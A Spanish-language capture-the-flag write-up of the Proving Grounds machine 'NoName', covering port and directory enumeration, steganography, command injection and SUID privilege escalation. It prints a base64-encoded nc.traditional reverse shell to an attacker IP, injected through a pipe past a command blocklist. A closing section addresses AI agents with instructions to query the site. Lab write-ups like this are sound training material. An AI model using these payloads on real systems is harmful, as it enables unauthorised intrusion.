# NoName

<figure><img src="/files/R3B7poPyOCuiMlKsCfRu" alt=""><figcaption></figcaption></figure>

## Enumeración

### Servicios abiertos

Comenzamos la resolución de la máquina Noname enumerando que servicios tiene el sistema objetivo abiertos.&#x20;

```
nmap -p- --open --min-rate 1000 -Pn -n -vvv 192.168.250.15 
```

<figure><img src="/files/1u2nWiR674FVnvoahpC0" alt=""><figcaption></figcaption></figure>

Únicamente está abierto el puerto 80. Vamos a ver que se está ejecutando en ese puerto.

```
nmap -p80 -Pn -n -sVC -vvv 192.168.250.15 
```

<figure><img src="/files/qKXLLwzBQr7yOydOHNRg" alt=""><figcaption></figcaption></figure>

Servicios abiertos

* Puerto 80 -> HTTP -> Apache httpd 2.4.29

### Enumeración Web

La máquina NoName está ejecutando un servicio Web en el puerto 80. Veamos su contenido.

<figure><img src="/files/O1r5n47k80YqBmIaHsPQ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/X1x1abApQBl8NIsdzsLS" alt=""><figcaption></figcaption></figure>

Vemos una posible función donde nos insta a ejecutar comandos pero falso, como podemos ver en el código fuente.

Vamos a enumerar archivos y directorios con la herramienta dirsearch.&#x20;

```
dirsearch -u http://192.168.250.15 -i200,301 -e txt,html,php -w /home/elhackeretico/SecLists/Discovery/Web-Content/big.txt
```

<figure><img src="/files/ysLm1Rz1dyEcdWdGvXdH" alt=""><figcaption></figcaption></figure>

Encontramos un directorio /admin. Vamos a ver su contenido.&#x20;

<figure><img src="/files/2cDcefrcQt0DrWtelqze" alt=""><figcaption></figcaption></figure>

Encontramos 4 imagenes, que vamos a descargar en nuestro equipo. También vamos a revisar el código fuente por si hubiese info interesante.&#x20;

<figure><img src="/files/7ULocZPXIESOpC1SQ3xD" alt=""><figcaption><p>pass: harder</p></figcaption></figure>

Encontramos una pass, que vamos a guardar por si fuese interesante.&#x20;

Tenemos cuatro imágenes dentro de un directorio /admin. ¿Sospechoso? Vamos a tratar de extrear información oculta en estas imágenes mediante la técnica de steganografía.

<figure><img src="/files/sBfPI2UuRzOZyc6sGkCc" alt=""><figcaption></figcaption></figure>

Después de extraer la información, encontramos un posible nuevo archivo interesante. Vamos a ver su contenido en el navegador.

Volvemos a ver la misma función para ejecutar comandos que vimos al principio de la enumeración, pero en este caso, podemos ejecutar comandos.&#x20;

<figure><img src="/files/aECl2rYNF11vPpKK6vMg" alt=""><figcaption></figcaption></figure>

## Explotación

Sabiendo que se pueden ejecutar comandos, vamos a tratar de levantar una reverse shell hacia nuestra máquina de ataque. Viendo el código fuente de esta aplicación, vemos que tenemos limitaciones en cuanto a los comandos que podemos ejecutar.&#x20;

<figure><img src="/files/oqjAsqfKaEr1QxGIwu0w" alt=""><figcaption></figcaption></figure>

Ahora tiene sentido: la aplicación ha limitado la ejecución de ciertos comandos... puede ser necesario adoptar enfoques innovadores para lograr que esto funcione.

Es evidente que existen ciertos comandos completamente prohibidos. Por lo tanto, una opción podría ser emplear nc.traditional para lograr una shell inversa, sin embargo, se presentaría el inconveniente de que nc seguiría siendo una cadena detectable. Como solución a esto, opté por codificar la siguiente carga útil en base64.

```
nc.traditional -e /bin/bash 192.168.45.183 1337
bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNDUuMTgzIDEzMzcK (shell en base 64)
```

<figure><img src="/files/mPYeC7BDyKuMFyH8HX5y" alt=""><figcaption></figcaption></figure>

```
127.0.0.1 | echo "bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNDUuMTgzIDEzMzcK" | base64 -d | bash
```

<figure><img src="/files/ONXNhAS0g6Ozu1mRRXFv" alt=""><figcaption></figcaption></figure>

Debemos levantar en nuestra máquina un oyente nc en el puerto 1337.&#x20;

<figure><img src="/files/qFKgtlnHcYZ5ZnHbliCH" alt=""><figcaption></figcaption></figure>

Ya tendremos acceso a la máquina objetivo como "www-data". Antes de continuar con la resolución de la máquina, vamos a realizar el tratamiento de la tty para facilitar el trabajo.

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

El siguiente paso será buscar la flag local.txt

<figure><img src="/files/a0B2CYMJsAD7AIdYXcT5" alt=""><figcaption></figcaption></figure>

## Elevación de privilegios

Una vez obtuvimos acceso a la máquina objetivo y encontramos la flag local.txt, continuaremos elevando nuestros privilegios dentro de la máquina objetivo. Si tuviesemos un usuario con credenciales podríamos enumerar que puede ejecutar ese usuario como root sin contraseña, pero no tenemos credenciales. Así que la siguiente enumeración interesante sería que binarios tienen activo el bit SUID.

```
find / -perm -u=s -type f 2>/dev/null
```

<figure><img src="/files/pyX39iF32C6Pj9saLSjh" alt=""><figcaption></figcaption></figure>

El ejecutable find dispone del bit SUID, y este puede ser un vector de elevación de privilegios. Vamos a consultar [GTFOBins](https://gtfobins.github.io/gtfobins/find/#suid).

<figure><img src="/files/jSgKl7yDRyNiqOMkpmPQ" alt=""><figcaption></figcaption></figure>

Vamos a tratar de elevar privilegios utilizando este recurso.&#x20;

<figure><img src="/files/segl9Un0d3rgmjpFQIPM" alt=""><figcaption></figcaption></figure>

Obtenemos acceso con privilegios máximos dentro del sistema objetivo, el paso final será buscar la flag proof.txt

<figure><img src="/files/YIswFtGlvVTFPUvIOoGn" alt=""><figcaption></figcaption></figure>

Y ya estaría resuelta la máquina NoNamede la plataforma Proving Grounds.&#x20;


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/noname.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
